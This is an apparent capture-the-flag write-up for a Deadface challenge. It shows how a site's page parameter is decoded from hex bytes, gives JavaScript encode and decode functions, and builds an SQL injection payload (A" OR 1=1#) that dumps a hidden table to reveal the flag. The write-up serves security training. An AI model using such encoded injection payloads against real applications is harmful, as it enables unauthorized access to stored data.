Deadface is running a server where they have a list of targets they are planning on using in an upcoming attack. See if you can find any targets they are trying to hide.
We're given a simple website that looks like this:
On each "page", we can find records that begin with "A", "B", and "C":
At first, it looks like we get to query users that start with
String.fromCharCode(64 + page)
where page
is the integer query parameter passed to the page.
If we manually edit the &page=
query parameter to go to page 4, it looks like we can query users beginning with "D" as expected.
Similarly, we can query users with "I" on page 9, but somehow the query changes to "II" on page 99, "IÙ" on page 999, and "IÙI" on page 9999:
so it looks like our input gets grouped into pairs when parsed. Furthermore, if we go to page f
, we end up querying users starting with "O"; 'A' + 15.
With this, we get a pretty clear picture of how our query parameter is parsed: a 0 is appended to the input, then the page number is interpreted as hex bytes (where 64 is added to each byte so 1 maps to "A"). Then, we can guess our input is handled something like so:
function conv(s) {
const chars = ('0' + s).split('');
let ret = '';
for (let i = 0; i < chars.length; i += 2) {
let byte = chars[i];
if (i + 1 < chars.length) byte += chars[i + 1];
let num = 64 + parseInt(byte, 16);
ret += String.fromCharCode(num);
}
return ret;
}
But then, when we go to page 162
,
Why would the cent character cause things to fail? If we go to page 163
, something's not right; we get "#" instead of "£" as expected:
Then, there must be a narrow range of characters where our bytes are subtracted by 128 allowing us to get a wider range of characters. To simplify things, we can assume this range applies to everything above 128 (not true for page 999
seen earlier, but the discrepancy is ultimately unimportant to solve the challenge):
function conv(s) {
const rest = ('0' + s).split('');
let ret = '';
for (let i = 0; i < rest.length; i += 2) {
let group = rest[i];
if (i + 1 < rest.length) group += rest[i + 1];
let num = 64 + parseInt(group, 16);
if (num > 128) num -= 128;
ret += String.fromCharCode(num);
}
return ret;
}
So our input was actually failing on double quotes... could that imply it was being passed to a database as an SQL query? Based on the updated conv()
function, we can write a simple deconv()
function to reverse desired strings to query param bytes:
function deconv(s) {
let ret = '1';
for (const c of s) {
let diff = c.charCodeAt(0) - 64;
if (diff < 0) diff += 128;
let str = diff.toString(16);
if (str.length < 2) str = '0' + str;
ret += str;
}
return ret;
}
Then, we can run
to encode
A" OR 1=1#
list the entire table, and get the flag:
flag{SQL-1nj3ct10n-thrU-x0r}